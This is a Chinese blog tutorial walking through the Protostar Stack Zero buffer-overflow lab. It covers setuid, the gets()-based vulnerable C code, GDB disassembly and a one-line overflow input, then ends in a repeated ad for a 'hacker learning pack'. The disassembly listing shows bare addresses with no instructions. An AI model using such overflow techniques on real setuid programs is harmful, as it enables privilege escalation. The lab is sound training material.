前言:Pwn?先搞定环境再说!
CTF比赛里的Pwn方向,江湖人称"门槛最高",听着就让人虎躯一震。啥?你说要先啃完汇编语言第四版?还要Python、C语言双修?别吓唬我!听说Protostar靶场是入门神器,那咱就先从这里开始,看看能不能活着走出来。
据说这玩意儿能让你搞懂:
网络编程?听着就头大。套接字?socket是啥玩意儿?栈溢出?听起来像内存泄漏一样可怕。格式化字符串、堆溢出、shellcode?容我缓缓...
下载地址先扔这儿:
https://exploit.education/downloads/
别被吓到!Protostar虚拟机,启动!
环境配置这事儿,说简单也简单,说难也难。反正我当年是踩了不少坑。
Protostar镜像:下!VMware:装!账号密码:user/user,记住了!Root权限:su root,密码godmod!
SSH连接?Putty伺候!
IP地址填上,账号密码输对,/bin/bash一敲,搞定!
要破解的"宝藏"藏在哪儿?/opt/protostar/bin,冲!
/opt/protostar/bin
ls -al,看看都有啥...
一堆红色的文件,啥意思?file stack0,查一下!
32位的setuid程序?听着就不好惹...
Setuid:普通人也能"假装"Root?
Setuid是个啥?官方解释太绕了,说人话就是:让普通用户也能运行需要Root权限的程序。
举个例子:你想让普通用户用Vim,但又怕被攻击?Setuid就派上用场了。
来,实战一下:User用户运行Vim,新开窗口ps -aux,看看进程:
Vim乖乖地以User权限运行。跑一下靶机上的Setuid文件:
神奇!User用户,Root权限!ls -l 看看文件权限:
rwx是啥不用说了吧?s是啥?Setuid!
简单来说,s让普通用户执行程序时,拥有程序创建者的权限(这里是Root)。我们的目标?破解这些文件,拿到Root权限!
Stack Zero:最简单的开始?
先来个简单的:Stack Zero。代码地址:
https://exploit.education/protostar/stack-zero/
目标:修改'modified'变量,让程序打印"成功改变变量"的字符串。
C语言代码如下:
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified; //定义一个变量
char buffer[64]; //给buffer变量定义数组,c语言中一个字符数就是一个字符串
modified = 0; //modified变量=0
gets(buffer); //获取我们的输入,赋予到buffer变量里
if(modified != 0) { //如果modified不等于0
printf("you have changed the 'modified' variable
"); //打印'成功改变modified变量'字符串
} else { //否则
printf("Try again?
"); //打印'再试一次'
}
}
核心:gets(buffer)。这玩意儿有漏洞!
Gets函数:永远不要用它!真的!
Gets函数的官方文档:
"永远不要使用gets函数!",因为它不知道要读多少字符,缓冲区溢出是分分钟的事儿。
汇编:底层秘密?
GDB启动!
gdb /opt/protostar/bin/stack0
汇编代码,走起!
set disassembly-flavor intel
disassemble main
0x080483f4
0x080483f5
0x080483f7
0x080483fa
0x080483fd
0x08048405
0x08048409
0x0804840c
0x08048411
0x08048415
0x08048417
0x08048419
0x08048420
0x08048425
0x08048427
0x0804842e
0x08048433
0x08048434
push ebp, mov esp, ebp:函数开始的"标配"。leave:函数结束的"标配"。and esp, 0xfffffff0:位屏蔽,隐藏esp地址。sub esp, 0x60:esp减去0x60,分配栈空间。mov DWORD PTR [esp+0x5c], 0x0:modified变量初始化为0。lea eax, [esp+0x1c]:取buffer地址。call 0x804830c gets@plt:调用gets函数,危险!test eax, eax:检查modified的值。je 0x8048427 :如果modified等于0,跳转到"Try again"。
实战:三种姿势破解Stack Zero
姿势一:溢出!简单粗暴!
0x080483f4
0x080483f5
0x080483f7
0x080483fa
0x080483fd
0x08048405
0x08048409
0x0804840c
0x08048411
0x08048415
0x08048417
0x08048419
0x08048420
0x08048425
0x08048427
0x0804842e
0x08048433
0x08048434
gets函数断点:b *0x0804840cgets函数后断点:b *0x08048411设置hook-stop:
define hook-stop
info registers
x/24wx $esp
x/2i $eip
end
运行:r执行gets:n随便输入,看看A离0x0000000有多远。计算偏移量:68个字符!退出GDB:q开干!
echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0
python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0
成功!
姿势二:控制EIP!指哪打哪!
EIP是啥?程序指针!控制它,就能控制程序走向!
程序头断点:b *main运行:r查看寄存器:info registers目标地址:0x8048419(输出"you have changed...")修改EIP:set $eip=0x8048419执行:n
搞定!
姿势三:修改EAX!偷天换日!
EAX存着比较的值,改成不等于0,就能骗过if语句!
比较处断点:b *0x08048415运行:r查看寄存器:info registers修改EAX:set $eax = 1继续运行:c
成了!
```
黑客/网络安全学习包
资料目录
成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************